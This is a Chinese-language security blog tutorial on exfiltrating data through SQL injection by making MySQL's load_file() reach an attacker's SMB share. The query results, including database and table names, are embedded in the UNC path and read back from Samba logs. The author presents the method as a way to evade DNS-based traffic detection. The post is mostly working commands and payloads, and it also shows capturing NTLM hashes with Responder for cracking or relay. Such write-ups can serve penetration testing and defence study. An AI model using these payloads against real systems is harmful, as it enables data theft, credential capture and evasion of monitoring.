前言
温故而知新,今天在整理古老的近乎失传的DNS外带注入方法时,偶然间发现外带数据的装载区域并不一定是 域名前缀。放在后面也是可以的,由于目前网络上没有相关的记载,姑且称之为SMB外带注入吧。
1.搭建测试环境
系统:centos7
首先安装smb服务
yum install samba -y
修改配置文件: vim /etc/samba/smb.conf
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
log level = 10
[share]
comment = share
path = /tmp
guest ok = yes
writable =yes
browsable = yes
#force user = smbuser
保存配置文件, 重启smb服务
systemctl restart smb.service
在windows环境的机器,上面安装MySQL ,建议安装 MySQL 5.7.16 以下版本,主要是由于高版本有一个默认选项secure_file_priv ,默认不允许load_file 。 如果安装的数据库版本>=MySQL 5.7.16 在my.ini文件中将secure_file_priv设置为空, 修改完成后, 记得重启mysql服务
show global variables like '%secure%';
smb外带注入与DNS外带注入比较:
smb外带注入 可以一次性提交更大长度的字符,经测试长度在120是没有问题的,而dns前缀最多是63个字符。而且对特殊字符的兼容性比较好,目前测试发现 *是不行的,其他还有待fuzz。
smb外带注入不依赖于dns,可以绕过目前流量监测设备对异常域名前缀的捕获,可以直接使用ip,不需要dns请求。
构造sql语句:
select load_file(concat("\\\\<IP>\\",(SQL语句),"\\xxx"))
为了方便从log里提取查询的内容,可以构造如下语句
select load_file(concat("\\\\10.99.99.234\\share[",database(),"]\\1.txt"));
我们在MySQL服务器上执行这样一条SQL语句:
select load_file('\\\\10.99.99.234\\share\\1.txt');
在samba服务器上查看到了这样一条日志:
[2021/07/03 03:27:45.437996, 10, pid=9939, effective(0, 0), real(0, 0)] ../../source3/lib/util_event.c:54(smbd_idle_event_handler)
获取当前数据库名
select load_file(concat("\\\\10.99.99.234\\share[",database(),"]\\1.txt"));
查看smb日志
tail -f /var/log/samba/log.smbd | grep "failed to find service"
查询当前数据库里的表
1. 使用limit
2. substring截断
使用limit请先获取总共的表数
select load_file(concat("\\\\10.99.99.234\\test[",(select count(table_name) from information_schema.tables where table_schema=database()),"]\\1.txt"));
再用limit逐个查询
select load_file(concat("\\\\10.99.99.234\\test[",(select table_name from information_schema.tables where table_schema=database() limit 0,1),"]\\1.txt"));
验证第test库中的第一个表名是否为aggregate_graph_templates
substring截断 截断到120字符串即可
select load_file(concat("\\\\10.99.99.234\\test[",(select substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,120)),"]\\1.txt"));
另外种方法就是利用smb获取ntlm hash,适用于知道目标一定的凭证。利用responder获取ntlm v2然后爆破 NTLM-relay攻击参考: https://www.cnblogs.com/car7n/p/14887818.html
select load_file('\\\\10.99.99.245\\x');
kali运行responder
responder -I eth0 -f 10.99.99.41
用法: -I表示指定的网卡,-f表示允许攻击者查看受害者的主机指纹。
参考地址: https://422926799.github.io/posts/af61cc76.html http://moonslow.com/article/smb_sql_injection